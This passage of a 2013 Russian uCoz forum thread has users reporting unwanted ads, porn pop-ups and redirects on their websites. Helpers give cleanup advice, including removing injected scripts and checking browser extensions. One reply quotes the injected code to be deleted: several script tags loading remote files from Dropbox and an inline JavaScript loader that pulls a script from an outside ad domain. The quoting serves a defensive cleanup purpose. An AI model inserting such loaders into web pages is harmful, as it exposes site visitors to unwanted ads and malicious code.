Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Инородная реклама на сайте (никак не могу избавиться от сторонней рекламы)
Инородная реклама на сайте
amitrofanova
Сообщений: 2
Репутация: 0

Сообщение # 451 | 23:23:46 28 Июл 2013
Спасибо, все получилось! Очень оперативно!
Pr1me
Сообщений: 4
Репутация: 0

Сообщение # 452 | 16:50:27 29 Июл 2013
В чем может быть проблема?
Вот сайты(будьте осторожны, аваст пищал, есет нод вроде нет)
http://www.esq-team.ru/
http://dveri-klina.ucoz.ru/
http://sport-win.clan.su/

Прикрепления: 3876762.jpg (161.0 Kb)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 453 | 17:13:40 29 Июл 2013
Pr1me, по первому. панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить по очереди вставляете скрипты

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>


поле на что заменить в каждом случае оставляете пустым и производите замену во всех модулях

после очистки нужно сменить пароль uID профиля, которым администрируете сайт. инструкция тут //forum.ucoz.ru/forum/45-52299-1

для второго сайта вот список скриптов, которые нужно удалить

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>


так же самое через быструю замену и потом смените пароль uID

для третьего сайта список скриптов на удаление

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>


так же самое через быструю замену и с изменением пароля uID профиля, если он отличен от первых двух

на третьем сайте, если не ставили это сами и получили в подарок с шаблоном, тоже обязательно удалить

Код
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://txt.889.adv-multithreading.info' + '/?947043=F14XEUUBDwwACAoHEF5SV1tVVg';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>


ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
ret-u
Сообщений: 8
Репутация: 7

Сообщение # 454 | 09:01:24 01 Авг 2013
Недавно заметил, что у меня на сайте висит реклама, которую я не устанавливал, начал разбираться.
В Farefox и Opera ее показывают, Chrom и IE - не показывают.
Всему виной плагин - DESKTOPY !!!
Скриншоты смотрие.

Это сайт в OPERA


Как удалить из OPERA


Это сайт в FireFOX и как удалить Desktopy/
Прикрепления: 7287857.jpg (222.3 Kb) · 2495937.png (221.8 Kb) · 1347197.jpg (228.3 Kb)
Техника живет своей загадочной жизнью!
РЭТ - сайт на UCOZ!
Сообщение отредактировал ret-u - Четверг, 01 Авг 2013, 09:11:46
max-tuning5419
Сообщений: 3
Репутация: 0

Сообщение # 455 | 16:14:20 07 Авг 2013
Здравствуйте, уважаемые пользователи и администрация форума!
Сегодня на сайте начали выскакивать небольшие банеры с рекламой. На главной вылазит прямо в шапке и сдвигает мне картинки верхнего блока, а на других появляются прямо посредине страницы. Первым делом сменил все пароли, а теперь хотелось бы получить помощь по решению этой проблемы. Просматривал код страниц, так ничего и не нашел.
мой сайт
ret-u
Сообщений: 8
Репутация: 7

Сообщение # 456 | 16:43:40 07 Авг 2013
Цитата (max-tuning5419)
Здравствуйте, уважаемые пользователи и администрация форума!Сегодня на сайте начали выскакивать небольшие банеры с рекламой. На главной вылазит прямо в шапке и сдвигает мне картинки верхнего блока, а на других появляются прямо посредине страницы. Первым делом сменил все пароли, а теперь хотелось бы получить помощь по решению этой проблемы. Просматривал код страниц, так ничего и не нашел.
Просмотрел сайт Opera, FireFox, IE, Chrom - ни чего не обнаружено...



Проверяйте установленные у вас плагины (смотрите мой пост выше), проверьте сайт разными браузерами со своего компа.
Прикрепления: 3094240.png (233.9 Kb)
Техника живет своей загадочной жизнью!
РЭТ - сайт на UCOZ!
Сообщение отредактировал ret-u - Среда, 07 Авг 2013, 16:49:46
max-tuning5419
Сообщений: 3
Репутация: 0

Сообщение # 457 | 17:21:29 07 Авг 2013
ret-u, я тоже сейчас зашел на сайт с хрома, всё в порядке, а в мозилле вылазят эти скрипты, при чем не только на моем сайте.
Плагины просмотрел, Desktopy у меня нет

Прикрепления: 0910215.png (276.0 Kb)
ret-u
Сообщений: 8
Репутация: 7

Сообщение # 458 | 17:25:52 07 Авг 2013
max-tuning5419,
- расширения, службы посмотри еще и скрин скинь
Техника живет своей загадочной жизнью!
РЭТ - сайт на UCOZ!
max-tuning5419
Сообщений: 3
Репутация: 0

Сообщение # 459 | 21:54:21 07 Авг 2013
ret-u, удалил пару подозрительных расширений и вуаля! Скрипты исчезли!
Спасибо за подсказки!
ret-u
Сообщений: 8
Репутация: 7

Сообщение # 460 | 23:01:40 07 Авг 2013
Цитата (max-tuning5419)
ret-u, удалил пару подозрительных расширений и вуаля! Скрипты исчезли!Спасибо за подсказки!
max-tuning5419, - так напиши, что удалил? - может кому и понадобится!!! - чтоб на грабли не наступать.
Техника живет своей загадочной жизнью!
РЭТ - сайт на UCOZ!
Сообщение отредактировал ret-u - Среда, 07 Авг 2013, 23:02:28
zixi1
Сообщений: 42
Репутация: 26

Сообщение # 461 | 08:11:21 10 Авг 2013
Один из посетителей написал что при переходе на сайт происходит левая переадрисация, в кодах страниц нашел:
Персональная страница пользователя
Цитата
<a href="http://www.ripe.net/perl/whois?$_IP_ADDRESS$" target="_blank">$_IP_ADDRESS$</a>

Это чужеродный код или что-то юкозовское? Если чужой то как его можно удалить, вот полностью строка куда он вшит

Код
<?if($MODER_PANEL$)?>
<div id="block7" class="udtb"><div class="udtlb">Регистрационный IP:</div> <a href="http://www.ripe.net/perl/whois?$_IP_ADDRESS$" target="_blank">$_IP_ADDRESS$</a></div>
<?endif?>
fsd-wm.ru
mlg-wm.ucoz.ru
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 462 | 10:51:12 10 Авг 2013
zixi1, где адрес проблемного сайта? адрес в первую очередь дают для обработки кода

а то, что вы нашли источником перенаправления точно не является. этот код предназначен для получения информации по ипу пользователя. дайте адрес проблемного сайта
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
zixi1
Сообщений: 42
Репутация: 26

Сообщение # 463 | 11:14:01 10 Авг 2013
http://fsd-wm.ru/ вот на этом сайте.
вот скрин куда перекидывает http://uploads.ru/8NsOp.pdf
fsd-wm.ru
mlg-wm.ucoz.ru
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 464 | 11:19:16 10 Авг 2013
zixi1, ответ тут //forum.ucoz.ru/forum/45-40389-1
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
paRAdogs
Сообщений: 7
Репутация: 0

Сообщение # 465 | 10:37:46 13 Авг 2013
Прошу прощения за тему, возможно она уже где то обсуждается или уже даже есть решение, если так, прошу сторожил ткнуть меня туда носом.
Дело в том, что уже пару недель на нескольких сайтах выпрыгивает на сером фоне банер с порно содержимым. При его закрытии открываются еще 28 страниц с содержимым 18+.
Сайты: Сайт школы
Управляющая компания 1 и 2
До этого сайты работали в штатном режиме, а на сайте школы вообще была отключена даже стандартная реклама юкоз.
Подскажите, что делать?

Добавлено (13 Авг 2013, 10:37:46)
---------------------------------------------
Сразу хочу уточнить, что речь не идет о заражении одной или двух машин, это не локальная проблема

Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Инородная реклама на сайте (никак не могу избавиться от сторонней рекламы)
Поиск: